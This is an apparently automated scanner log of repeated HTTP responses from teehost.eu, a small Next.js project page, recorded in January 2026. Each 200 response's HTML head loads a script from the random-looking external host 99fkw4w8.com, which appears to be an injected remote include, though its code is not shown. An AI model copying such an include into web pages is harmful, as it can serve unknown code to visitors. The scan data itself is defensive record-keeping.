    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jjbogMlfcu2D8inU7zKifZDPcghCgWIoFmUbWvLojDvieTw6D6TV9k8O638F2D2ma0WKccKa9w9cjBgGyy9peHtKSpdkwGxSElA%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753bca8879b3-LHR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 104.21.26.14:8443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 522 <none>
    Date: Sun, 25 Jan 2026 20:18:27 GMT
    Content-Type: text/plain; charset=UTF-8
    Content-Length: 15
    Connection: close
    Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Expires: Thu, 01 Jan 1970 00:00:01 GMT
    Referrer-Policy: same-origin
    X-Frame-Options: SAMEORIGIN
    Server: cloudflare
    CF-RAY: 9c3a7540d9ec19a0-FRA
    alt-svc: h3=":8443"; ma=86400
    
    
    error code: 522
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 172.67.135.34:443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vWQ6xJE6SX9pkRuRkhYx15dVxPkW9jdQgPc5YkSbf5rFT2LQb9x0VDax%2BYPFhR9YsZBZV%2B7wT%2F25XkI1jomleNCFRoR6seSlmP4%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753b285a1260-LHR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 2606:4700:3033::ac43:8722:8443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 522 <none>
    Date: Sun, 25 Jan 2026 20:18:27 GMT
    Content-Type: text/plain; charset=UTF-8
    Content-Length: 15
    Connection: close
    Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Expires: Thu, 01 Jan 1970 00:00:01 GMT
    Referrer-Policy: same-origin
    X-Frame-Options: SAMEORIGIN
    Server: cloudflare
    CF-RAY: 9c3a7540cdaa65c6-FRA
    alt-svc: h3=":8443"; ma=86400
    
    
    error code: 522
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 2606:4700:3033::ac43:8722:443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=BZqmXq7HWUYgCGPwBTW%2BmcLAB8bVFxcy3fWh%2BtKP0vor%2FgGYtv0JRBYCGYwoJKIQNwkGPotXIBCqICPkDC4bWu7dNAYM9fbdf%2FB3CdN%2B4JlMaetZWEI%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753b0ffb2b41-FRA
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 104.21.26.14:443 · teehost.eu

    2026-01-23 21:22

    HTTP/1.1 200 OK
    Date: Fri, 23 Jan 2026 21:22:15 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SabAmAqvikrISbi6Wp%2FurLQ%2FehzZjCjFSB5exE6hJwsCRW1UGAcMsLcHKGkBdrwnK7vT473sfi7PtOgxqXxUlOPJEY%2FCQtdLtSw%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c2a586c3c21f337-YYZ
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-23 by HttpPlugin
    Create report
  • Open service 104.21.26.14:80 · teehost.eu

    2026-01-23 21:16

    HTTP/1.1 200 OK
    Date: Fri, 23 Jan 2026 21:16:24 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=XlB%2BCM9YIj2PJbdkxeEfqmQPupsIi%2BoBfOMP8dQS8LZmw68aZ%2B7Z%2BWPmqDXl%2FK3pHIQekrcZgwulpOWEY7YvhZwr7zdDw%2B%2BMP68%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c2a4fde39cc6c9b-EWR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-23 by HttpPlugin
    Create report
  • Open service 104.21.26.14:80 · teehost.eu

    2026-01-22 21:44

    HTTP/1.1 200 OK
    Date: Thu, 22 Jan 2026 21:44:03 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ZA5UOsqGu8nWJ8eXu8XLXfx%2B339DWBYuvadlLQg8ttbC8%2BzC%2FTm0gXYkcHlGtV1w0uiHnnWn25GkuM7xFrQLvIce2ezUn4LSz2U%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
